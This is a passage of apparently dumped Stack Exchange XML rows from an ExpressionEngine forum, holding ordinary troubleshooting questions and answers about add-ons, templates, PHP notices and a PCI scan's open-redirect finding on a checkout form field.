/&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;FRM&quot; value=&quot;f9cb7fd2ec650ab25efd8be6e1c59edb&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;return&quot; value=&quot;checkout/review&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;secure_return&quot; value=&quot;yes&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;AUP&quot; value=&quot;WfGXMcTWPOx1XVmFt6LvlI2aYd+YVbZxexIi7hSShFylpXgvWrYjuNLJOB5OY2+BoZWFRV2ZQxxVlW5Ds0pD2g==&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;AUS&quot; value=&quot;fLSHnnXdrpDnGlbvirXr2Z6/4Hg6o/DaSovhbCDs6BK1Me1qV3HHtKD9+DAcDb7RnuEylWkHFN+v0mYiHDoH4w==&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;AUW&quot; value=&quot;FVT0uiqYd/WKlwoJEHb6mvxxD0J8su77K03FcJx8Z49iomBhCmGzlzvplboiFxCXmGIW0oDBXNDWjVTpI/1icQ==&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;OTF&quot; value=&quot;ksN4R7uwmGvsP9G5z+aRoD25vvgiijPjryLML2QAZX8oDM9fpXUrczcqbIMyTY/lWhaui0i7WdF6FrjM5X5qNg==&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;JSN&quot; value=&quot;uYa6FVq5nf8lhBvSBI2gfa4BIw1RJahHoB6xgPGwytgq56MKs9QoRuouIfUYb5jMsXHbiaZftDuJ2DQML7JXtg==&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;NTX&quot; value=&quot;5HSxCqnvnmVKqDz47jAEnMkL06VTktf5VpOzWZ7VOQ2FnGBcm6O+Qmof1a6x7TYmhVKnr9aia7F41IcpQL1d6Q==&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;NSH&quot; value=&quot;4WarxeRUR3TVn1xKBwFgxyWaByb40ZYeMiIx0npn3E+Ng2NEYhkac7r0UNz75+etGeea0iJdBta62f16cWxUXg==&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;ERR&quot; value=&quot;csHkHXrepr1d3tkjOXErV5ovWAU9HjZFWcgVO/Qna4jn/gkb2hCqXiCaOPoR2U+nTJW2MQKhRrqXgbdsSAN0zA==&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;RLS&quot; value=&quot;Kf2tDiVLXg82Dc2z3iQ+IhzTWfltitqVgB7GPCMyh04ytU1DaxkjXxzDY6SA1vD/rPLxTbVYFfpi3SBFIx6p1w==&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;site_id&quot; value=&quot;1&quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;McAfee is hung up on this particular line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;return&quot; value=&quot;checkout/review&quot; /&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can’t see any obvious EE resources (or Cart Throb) that address this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of a workaround?&lt;/p&gt;&#xA;" OwnerUserId="1763" LastEditorUserId="150" LastEditDate="2013-12-23T21:31:42.220" LastActivityDate="2014-03-11T13:08:01.667" Title="PCI Compliance Failure, “User specified URL redirection (Open Redirect)”, return value of form" Tags="|ee2|cartthrob|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13758" PostTypeId="1" CreationDate="2013-09-13T15:18:48.137" Score="0" ViewCount="514" Body="&lt;p&gt;I just updated to EE2.7, and I'm getting this error when I try to save an entry:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A PHP Error was encountered Severity: Notice Message: Undefined index:&#xA;  From Filename: libraries/Email.php Line Number: 1588&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A PHP Error was encountered Severity: Notice Message: Undefined index:&#xA;  From Filename: libraries/Email.php Line Number: 1194&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A PHP Error was encountered Severity: Notice Message: Undefined index:&#xA;  Return-Path Filename: libraries/Email.php Line Number: 889&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A PHP Error was encountered Severity: Notice Message: Undefined index:&#xA;  From Filename: libraries/Email.php Line Number: 1588&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A PHP Error was encountered Severity: Notice Message: Undefined index:&#xA;  From Filename: libraries/Email.php Line Number: 1194&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A PHP Error was encountered Severity: Notice Message: Undefined index:&#xA;  Return-Path Filename: libraries/Email.php Line Number: 889&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A PHP Error was encountered&#xA;  Severity: Notice Message: Undefined index: From Filename:&#xA;  libraries/Email.php Line Number: 1588&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A PHP Error was encountered Severity: Notice Message: Undefined index:&#xA;  From Filename: libraries/Email.php Line Number: 1194&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A PHP Error was encountered Severity: Notice Message: Undefined index:&#xA;  Return-Path Filename: libraries/Email.php Line Number: 889&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A PHP Error was encountered Severity: Notice Message: Undefined index:&#xA;  From Filename: libraries/Email.php Line Number: 1588&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A PHP Error was encountered Severity: Notice Message: Undefined index:&#xA;  From Filename: libraries/Email.php Line Number: 1194&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A PHP Error was encountered Severity: Notice Message: Undefined index:&#xA;  Return-Path Filename: libraries/Email.php Line Number: 889&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A PHP Error was encountered Severity: Notice Message: Undefined index:&#xA;  From Filename: libraries/Email.php Line Number: 1588&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A PHP Error was encountered Severity: Notice Message: Undefined index:&#xA;  From Filename: libraries/Email.php Line Number: 1194&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A PHP Error was encountered Severity: Notice Message: Undefined index:&#xA;  Return-Path Filename: libraries/Email.php Line Number: 889&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A PHP Error was encountered Severity: Warning Message: Cannot modify&#xA;  header information - headers already sent by (output started at&#xA;  /home/content/19/5501119/html/system/codeigniter/system/core/Exceptions.php:170)&#xA;  Filename: libraries/Functions.php Line Number: 809&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A PHP Error was encountered Severity: Warning Message: Cannot modify&#xA;  header information - headers already sent by (output started at&#xA;  /home/content/19/5501119/html/system/codeigniter/system/core/Exceptions.php:170)&#xA;  Filename: libraries/Functions.php Line Number: 809&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A PHP Error was encountered Severity: Warning Message: Cannot modify&#xA;  header information - headers already sent by (output started at&#xA;  /home/content/19/5501119/html/system/codeigniter/system/core/Exceptions.php:170)&#xA;  Filename: libraries/Functions.php Line Number: 414&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm using MX Notify Control to notify users when an entry they've authored is updated, and it looks like trying to fire off the emails is causing this error. I've updated to the latest version of every add-on I'm using, including MX Notify, and I can't find any info on these errors. Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="2054" LastEditorUserId="932" LastEditDate="2014-01-31T11:18:03.103" LastActivityDate="2014-03-06T16:18:44.740" Title="MX Notify Control: multiple php errors when saving an entry" Tags="|email|php-errors|mx-notify|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13759" PostTypeId="2" ParentId="13739" CreationDate="2013-09-13T15:37:10.710" Score="1" Body="&lt;p&gt;I had this problem recently after the host upgraded to PHP 5.3.27. The front of the site worked fine but when I tried to log in to the CP (after logging in) I got the white screen of death. Are you able to log in at all?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem was that the new version of PHP had been compiled, quite correcty, with an oAuth plugin. This caused a problem with an old Twitter add-on that used an old oAuth PHP library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution was as simple as commenting out one method in the add-on (the method didn't even do anything) and it was all fixed. Took 8 hours to work that out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, do you have anything that might be using an old oAuth library?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should add that no matter what I did I could not get ANY debug info to display.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-09-13T15:37:10.710" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13760" PostTypeId="1" CreationDate="2013-09-13T16:20:21.640" Score="2" ViewCount="1225" Body="&lt;p&gt;I'm looking for ideas on how to implement this, even if it means building stuff custom. Basically, the flow goes like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A visitor goes to the site and wants access to some downloadable content&lt;/li&gt;&#xA;&lt;li&gt;Visitor has to submit contact info (think lead-gen form) to get a 4-digit PIN&lt;/li&gt;&#xA;&lt;li&gt;4-digit PIN should be auto-generated per visitor/form filled out&lt;/li&gt;&#xA;&lt;li&gt;4-digit PIN is used by visitor to &quot;login&quot; to downloadable content area&lt;/li&gt;&#xA;&lt;li&gt;If visitor forgets their PIN, a &quot;forgot PIN/password&quot; function is needed.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Obviously, this sounds like member registration with custom fields (using Zoo Visitor most likely) would do the trick, but the gotcha is with the 4-digit PIN - it &lt;strong&gt;must&lt;/strong&gt; be 4-digits/characters and it must be auto-generated for the visitor and subsequently emailed*.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, when logging in to the protected area, all that should be entered is a PIN. No username. (Is that possible?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an add-on that will auto-generate the PIN and send the email upon successful sign-up? Any other ideas also welcome. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*&lt;em&gt;I realize that sending PINs/passwords via email is a security no-no but it's needed in this case and there's no personal data accessed on the front-end of the site.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="132" LastEditorUserId="132" LastEditDate="2013-09-13T16:27:39.120" LastActivityDate="2013-09-13T19:40:33.243" Title="Generate a PIN per member to access specific area on site" Tags="|ee2|password|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13761" PostTypeId="2" ParentId="13760" CreationDate="2013-09-13T16:47:13.950" Score="1" Body="&lt;p&gt;Although you could utilise native login/zoo visitor (although I'd recommend &lt;a href=&quot;http://devot-ee.com/add-ons/freemember&quot; rel=&quot;nofollow&quot;&gt;Freemember&lt;/a&gt;). I'm not sure how you'll cope with sending out the password and auto generating it, although you could look at trying to fire off the reset password (so a dummy random password is created initially then the user is requested to set the password which is really resetting your temp password), unless you ask them for a password initially. The username would be the PIN number. Then you have to handle tracking of the user (if they've downloaded it for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tricky bit would be generating a unique PIN, but you could write an add-on that checked existing usernames and generated a new unique one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise custom route, but you don't need to really utilise member management.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need a module, that creates a table with the unique index as the 4 digit PIN and password - either encrypted or as if (if there's no security implications). You could extend to hold user info, access counts, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your form for the &quot;request access&quot; the module generates a unique (available) PIN and password, these are then submitted to an ACT url picked up by the module and saved to the database. Slight risk in case there's 2 random numbers chosen at the same time and it tries to save them - but there may be tweaks you can make to avoid that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you create another form in your template that submits to another module ACT url that takes the info supplied by the user and compares to the DB info to either verify and allow access to the download, or deny.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously you can extend or simplify for your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a useful add-on for sending out emails from a template: &lt;a href=&quot;http://devot-ee.com/add-ons/email-from-template&quot; rel=&quot;nofollow&quot;&gt;Email from Template&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2013-09-13T19:40:33.243" LastActivityDate="2013-09-13T19:40:33.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13762" PostTypeId="2" ParentId="13760" CreationDate="2013-09-13T16:49:55.103" Score="2" Body="&lt;p&gt;I once created something similar for an EE1 site where people submit their email address and get back a pin code--though they get the code on the sign-up thank-you web page, not via email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used this open source &lt;a href=&quot;http://kvz.io/blog/2009/06/10/create-short-ids-with-php-like-youtube-or-tinyurl/&quot; rel=&quot;nofollow&quot;&gt;alphaID&lt;/a&gt; function for generating the pin codes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used this specifically to generate 4 digit pin codes, and I'm pretty sure you can use the function to &lt;em&gt;always&lt;/em&gt; generate 4 alphanumeric characters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be a good starting place for your code generation, if it's isn't an exact match.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For emailing the code, I've never tried using a PHP function in a FreeForm notification template--that might work. But, I'd also look at &lt;a href=&quot;http://devot-ee.com/add-ons/mx-notify-control&quot; rel=&quot;nofollow&quot;&gt;MX Notify Control&lt;/a&gt; and &lt;a href=&quot;http://devot-ee.com/add-ons/postmaster&quot; rel=&quot;nofollow&quot;&gt;Postmaster&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-09-13T16:49:55.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13763" PostTypeId="2" ParentId="13147" CreationDate="2013-09-13T18:00:51.047" Score="1" Body="&lt;p&gt;Hmm, i didn't find a good solution for this.&#xA;We hard coded the return url now to the store_payments.php but i don't think that's a good solution ...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function redirect_to_return_url($order)&#xA;{&#xA;    $return_url = $this-&amp;gt;EE-&amp;gt;store_orders_model-&amp;gt;get_order_return_url($order);&#xA;    $return_url = &quot;https://www.domain.com/shop/appreciate&quot;;&#xA;    $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;redirect($return_url);&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think the problem is with the return_url.&#xA;As paremeter i set the return url to something like this in my checkout template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout &#xA;    form_id=&quot;register-form&quot;&#xA;    register_member=&quot;&quot;&#xA;    error_handling=&quot;inline&quot;&#xA;    error_delimiters='&amp;lt;div class=&quot;help-box&quot;&amp;gt;|&amp;lt;/div&amp;gt;'&#xA;    require=&quot;name|order_email|address1|address3|postcode|country&quot;&#xA;    return=&quot;https://www.domain.com/shop/appreciate&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I used it with and without &lt;a href=&quot;https://domain.com/shop/appreciate&quot; rel=&quot;nofollow&quot;&gt;https://domain.com/shop/appreciate&lt;/a&gt; and the behavior was always the same. In the output of my developer log i saw that the return url is set sometimes twice like &lt;a href=&quot;http://www.domain.com/http://www.domain.com&quot; rel=&quot;nofollow&quot;&gt;http://www.domain.com/http://www.domain.com&lt;/a&gt; in Google Chrome. I thought that this is the error and Safari can't handle a doubled url, but as i had a look into the developer log again, the return url was always my checkout template although i set the correct return_url as described above??? I don't know what's wrong or where this url come from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe you can give me a hint where the return url is set, or why safari and chrome handle this in a different way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be really good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Peter&lt;/p&gt;&#xA;" OwnerUserId="768" LastActivityDate="2013-09-13T18:00:51.047" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13764" PostTypeId="1" AcceptedAnswerId="13788" CreationDate="2013-09-13T18:48:08.570" Score="0" ViewCount="309" Body="&lt;p&gt;Is there a way in P&amp;amp;T Assets to output just the file's relative url path without the filename?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, I'm trying to call a file's retina image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the normal file output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   {image_blog}&#xA;          {url}&#xA;   {/image_blog}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which results in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   /path/to/file/filename.jpg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I'm looking to obtain this output instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   /path/to/file/filename@2x.jpg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I thought this could be accomplished with...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   {image_blog}&#xA;          {subfolder}{filename}@2x.{extension}&#xA;   {/image_blog}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... but this results in ...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   filename@2x.jpg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is subfolder supposed to output if not /path/to/file/? Is there another way to grab the relative path?&lt;/p&gt;&#xA;" OwnerUserId="948" LastActivityDate="2013-09-16T21:16:02.160" Title="P&amp;T Assets Url Path" Tags="|assets|pixelandtonic|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13765" PostTypeId="1" CreationDate="2013-09-13T23:12:10.043" Score="1" ViewCount="53" Body="&lt;p&gt;In this template I display information about characters from a TV show. This includes a season-by-season summary of significant events for a character. I am trying to work out a way where adding each new season is more streamlined. Each character is tagged for each season it appears in, with S1, S2, etc. This is what I've currently got:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:tag:tags entry_id=&quot;{entry_id}&quot;}&#xA;&#xA;{if tag == &quot;S1&quot; OR tag == &quot;S2&quot; OR tag == &quot;S3&quot;}&#xA;{if segment_4 == &quot;&quot;}&#xA;&#xA;&amp;lt;h3&amp;gt;Spoilers&amp;lt;/h3&amp;gt;&#xA;&#xA;&amp;lt;ul&amp;gt;&#xA;{if tag == &quot;S1&quot;}&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{comment_url_title_auto_path}/Season_One/&quot;&amp;gt;Season One&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/if}&#xA;{if tag == &quot;S2&quot;}&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{comment_url_title_auto_path}/Season_Two/&quot;&amp;gt;Season Two&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/if}&#xA;{if tag == &quot;S3&quot;}&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{comment_url_title_auto_path}/Season_Three/&quot;&amp;gt;Season Three&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/if}&#xA;&amp;lt;/ul&amp;gt;&#xA;&#xA;{/if}&#xA;&#xA;{if segment_4 == &quot;Season_One&quot; OR segment_4 == &quot;Season_Two&quot; OR segment_4 == &quot;Season_Three&quot;}&#xA;&#xA;&amp;lt;h3&amp;gt;Spoilers&amp;lt;/h3&amp;gt;&#xA;&#xA;{if tag == &quot;S1&quot;}&#xA;&amp;lt;h4&amp;gt;Season One&amp;lt;/h4&amp;gt;&#xA;&#xA;{{current_channel_id}_season_one}&#xA;{/if}&#xA;&#xA;{if tag == &quot;S2&quot;}&#xA;&amp;lt;h4&amp;gt;Season Two&amp;lt;/h4&amp;gt;&#xA;&#xA;{{current_channel_id}_season_two}&#xA;{/if}&#xA;&#xA;{if tag == &quot;S3&quot;}&#xA;&amp;lt;h4&amp;gt;Season Three&amp;lt;/h4&amp;gt;&#xA;&#xA;{{current_channel_id}_season_three}&#xA;{/if}&#xA;&#xA;{/if}&#xA;&#xA;{/if}&#xA;{/exp:tag:tags}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At the moment, the default entry page for a character ends up looking like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Spoilers&#xA;&#xA;    Season One&#xA;&#xA;Spoilers&#xA;&#xA;    Season Two&#xA;&#xA;Spoilers&#xA;&#xA;    Season Three&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am not sure why the &quot;Spoilers&quot; heading gets repeated for each link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, if I click through on  the &quot;Season One&quot; link it ends up displaying season one, season two and season three in one go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions for how I'd need to tweak this template to get the desired result and, preferably, a setup with less duplication of tags needed each time another season is added?&lt;/p&gt;&#xA;" OwnerUserId="352" LastEditorUserId="352" LastEditDate="2013-09-14T10:55:29.347" LastActivityDate="2013-09-16T12:50:48.240" Title="Solspace's Tags &amp; Conditionals" Tags="|conditionals|solspace|solspace-tag|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13766" PostTypeId="1" CreationDate="2013-09-13T23:21:52.393" Score="1" ViewCount="1629" Body="&lt;p&gt;I'm fairly new to Expressionengine, as I have taken over a site which a developer helped me build. So I'm still learning all the different things about it. My problem is this - I have a template (homepage) where I have four seperate {exp:channel:entries} tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this is getting the feature.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;channel1|channel2|channel3&quot; limit=&quot;1&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is getting the four entries after the feature.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;channel1|channel2|channel3&quot; limit=&quot;4&quot; paginate=&quot;bottom&quot; offset=&quot;1&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This is the tricky bit&lt;/strong&gt;. The next {exp:channel:entries} tag occasionally repeats entries above even though I've set an offset of ('5' - counting the feature and four entries after)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;channel1&quot; limit=&quot;2&quot; orderby=&quot;random&quot; sort=&quot;desc&quot; dynamic=“no” offset=&quot;5&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Lastly, I have one that looks based on the category. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;channel1|channel2|channel3&quot; limit=&quot;2&quot; category=&quot;111&quot; orderby=&quot;random&quot; offset=&quot;5&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question for this section: is there a way to stop it from posting entries if it is already being spat out by the other {exp:channel:entries} tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me as I am fairly new to this. Would love any feedback. Thank you so much. &lt;/p&gt;&#xA;" OwnerUserId="2056" LastActivityDate="2014-01-14T22:03:26.687" Title="Multiple channel entry tags on a single template - Have content not repeat itself" Tags="|channel-entries|templates|multiple-channels|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13767" PostTypeId="2" ParentId="13766" CreationDate="2013-09-14T01:42:31.823" Score="1" Body="&lt;p&gt;Use an embedded template, and do the other channel loops in there.  In that template, pass in the entry IDs you don't want repeated:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{embed=&quot;includes/inner&quot; excluded_ids=&quot;not 12|34|56&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the inner loop, in the channel entries tag, use entry_id=&quot;{embed:excluded_ids}&quot;&lt;/p&gt;&#xA;" OwnerUserId="480" LastActivityDate="2013-09-14T01:42:31.823" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13768" PostTypeId="2" ParentId="13462" CreationDate="2013-09-14T03:26:49.793" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;[04-Sep-2013 12:13:21 Europe/Dublin] PHP Fatal error: Class PT_Fieldtype contains 1 abstract method and must therefore be declared abstract or implement the remaining methods (EE_Fieldtype::display_field) in /Users/shape2/repositories/website.com/system/expressionengine/third_party/pt_field_pack/pt_fieldtype.php on line 148&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Have you updated &quot;pt field pack&quot; with new &quot;Field Pack&quot; as well? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/field-pack&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/field-pack&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="147" LastActivityDate="2013-09-14T03:26:49.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13769" PostTypeId="2" ParentId="13766" CreationDate="2013-09-14T08:28:18.513" Score="2" Body="&lt;p&gt;You might use &lt;a href=&quot;https://github.com/croxton/Stash/wiki&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt; plugin. Keep appending the channel entries of previous channel and then exclude those within next channel entry tag. Like this example: &lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bexp%3Astash%3Aappend%7D&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Stash/wiki/%7Bexp%3Astash%3Aappend%7D&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-09-14T08:28:18.513" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13770" PostTypeId="1" AcceptedAnswerId="13773" CreationDate="2013-09-14T09:09:32.370" Score="1" ViewCount="68" Body="&lt;p&gt;I've a problem on &lt;a href=&quot;http://www.lachiccahotel.com/contatti&quot; rel=&quot;nofollow&quot;&gt;this page&lt;/a&gt; in a website i'm currently developing.&#xA;As you can see , the form layout is broke (i'm using gumby2 css framework). I'm sure the cause is the div with class hiddenfFields, because if i remove it with firebug, the layout is ok:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;hiddenFields&quot;&amp;gt;&#xA;...&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;inside the form with id &quot;freeform&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have an idea how can ia resolve this issue? What properties i need to override? Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2013-09-14T15:16:43.770" Title="Freeform broke my layout" Tags="|solspace-freeform|forms|css|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13771" PostTypeId="2" ParentId="13605" CreationDate="2013-09-14T09:36:04.913" Score="5" Body="&lt;p&gt;I use the Sitemap-Module V 2.6 from &lt;a href=&quot;http://www.putyourlightson.net/sitemap-module&quot; rel=&quot;nofollow&quot;&gt;PutYourLightsOn&lt;/a&gt;. This caused the error. When I disable the module all is fine.&#xA;The most recent version of this module is 2.6.2. I installed it, but the problem persisted. &#xA;The message&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Message: Undefined index: field_id_sitemap__ping_sitemap&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;gave me the hint to try to disable the sitemap module.&#xA;I will ask the programmer for support.&#xA;We sorted it out, it was a bug in EE 2.7.0. I got Sitemap 2.6.3 and this update fixed it.&lt;/p&gt;&#xA;" OwnerUserId="136" LastEditorUserId="136" LastEditDate="2013-09-27T14:12:20.793" LastActivityDate="2013-09-27T14:12:20.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
